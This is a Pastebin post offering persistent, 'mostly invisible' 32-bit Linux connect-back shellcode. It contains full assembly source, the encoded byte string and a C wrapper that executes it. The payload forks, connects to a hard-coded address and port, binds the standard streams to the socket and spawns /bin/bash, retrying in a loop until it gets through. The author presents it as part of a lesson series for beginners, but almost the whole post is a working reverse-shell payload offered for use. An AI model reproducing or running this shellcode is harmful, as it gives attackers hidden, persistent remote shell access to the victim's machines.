Madmouse

persistent (Mostly) invisible shellcode connect back shell

Sep 14th, 2014
498
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.81 KB | None | 0 0
  1. // Written By: MadMouse
  2. /*
  3. ;
  4. ; part of my shellcode for noobs lesson series hosted in #goatzzz on irc.enigmagroup.org
  5. ;
  6. ; ----------------------------------------------------------------------------
  7. ; "THE BEER-WARE LICENSE" (Revision 43):
  8. ; <[email protected]> wrote this file. As long as you retain this notice you
  9. ; can do whatever you want with this stuff. If we meet some day, and you think
  10. ; this stuff is worth it, you can buy me a beer in return Aaron R. Yool
  11. ; ----------------------------------------------------------------------------
  12. ; 32bit call: eax args: ebx, ecx, edx, esi, edi, and ebp
  13. [bits 32]
  14. section .text
  15. global _start
  16. _start:
  17. ; fork(void);
  18.     xor eax,eax ; cleanup after rdtsc
  19.     xor edx,edx ; ....
  20.     xor ebx,ebx ; cleanup the rest
  21.     xor ecx,ecx ; ....
  22.     mov al,0x02
  23.     int 0x80
  24.     cmp eax,1   ; if this is a child, or we have failed to clone
  25.     jl fork     ; jump to the main code
  26.     jmp exit
  27. fork:
  28. ; socket(AF_INET, SOCK_STREAM, 0);
  29.     push eax
  30.     push byte 0x1 ; SOCK_STREAM
  31.     push byte 0x2 ; AF_INET
  32.     mov al, 0x66 ; sys_socketcall
  33.     mov bl,0x1  ; sys_socket
  34.     mov ecx,esp
  35.     int 0x80
  36.  
  37. ; dup2(s,i);
  38.     mov ebx,eax ; s
  39.     xor ecx,ecx
  40. loop:
  41.     mov al,0x3f ; sys_dup2
  42.     int 0x80
  43.     inc ecx
  44.     cmp ecx,4
  45.     jne loop
  46.  
  47. ; connect(s, (sockaddr *) &addr,0x10);
  48.     push 0x0101017f     ; IP = 127.1.1.1
  49.     push word 0x391b    ; PORT = 6969
  50.     push word 0x2       ; AF_INET
  51.     mov ecx,esp
  52.    
  53.     push byte 0x10
  54.     push ecx        ;pointer to arguments
  55.     push ebx        ; s -> standard out/in
  56.     mov ecx,esp
  57.     mov al,0x66
  58.     int 0x80
  59.     xor ecx,ecx
  60.     sub eax,ecx
  61.     jnz cleanup ; cleanup and start over
  62.  
  63. ; fork(void);
  64.     mov al,0x02
  65.     int 0x80
  66.     cmp eax,1   ; if this is a child, or we have failed to clone
  67.     jl client   ; jump to the shell
  68.     xor eax,eax
  69.     push eax
  70.     jmp cleanup ; cleanup and start over
  71.  
  72. client:
  73. ; execve(SHELLPATH,{SHELLPATH,0},0);
  74.     mov al,0x0b
  75.     jmp short sh
  76. load_sh:
  77.     pop esi
  78.     push edx ; 0
  79.     push esi
  80.     mov ecx,esp
  81.     mov ebx,esi
  82.     int 0x80
  83.  
  84. cleanup:
  85. ; close(%ebx)
  86.     xor eax,eax
  87.     mov al,0x6
  88.     int 0x80
  89. cloop:
  90.     rdtsc
  91.     pause
  92.     cmp eax,0xffffffff
  93.     pause
  94.     jle cloop
  95.     jmp _start
  96.  
  97. exit:
  98. ; exit(0);
  99.     xor eax,eax
  100.     mov al,0x1
  101.     xor ebx,ebx
  102.     int 0x80
  103.  
  104. sh:
  105.     call load_sh
  106.     db "/bin/bash"
  107.  
  108.  
  109. */
  110.  
  111. const char evil[] = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\xb0\x02\xcd\x80\x83\xf8\x01\x7c\x02\xeb\x62\x50\x6a\x01\x6a\x02\xb0\x66\xb3\x01\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x04\x75\xf6\x68\x7f\x01\x01\x01\x66\x68\x1b\x39\x66\x6a\x02\x89\xe1\x6a\x10\x51\x53\x89\xe1\xb0\x66\xcd\x80\x31\xc9\x29\xc8\x75\x1b\xb0\x02\xcd\x80\x83\xf8\x01\x7c\x05\x31\xc0\x50\xeb\x0d\xb0\x0b\xeb\x1f\x5e\x52\x56\x89\xe1\x89\xf3\xcd\x80\x31\xc0\xb0\x06\xcd\x80\xf3\x90\x0f\x31\xf3\x90\xeb\x8b\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68";
  112.  
  113. typedef void (*shellcode)(void);
  114. void main(void)
  115. {
  116.     ((shellcode)evil)();
  117. }
Advertisement
Add Comment
Please, Sign In to add comment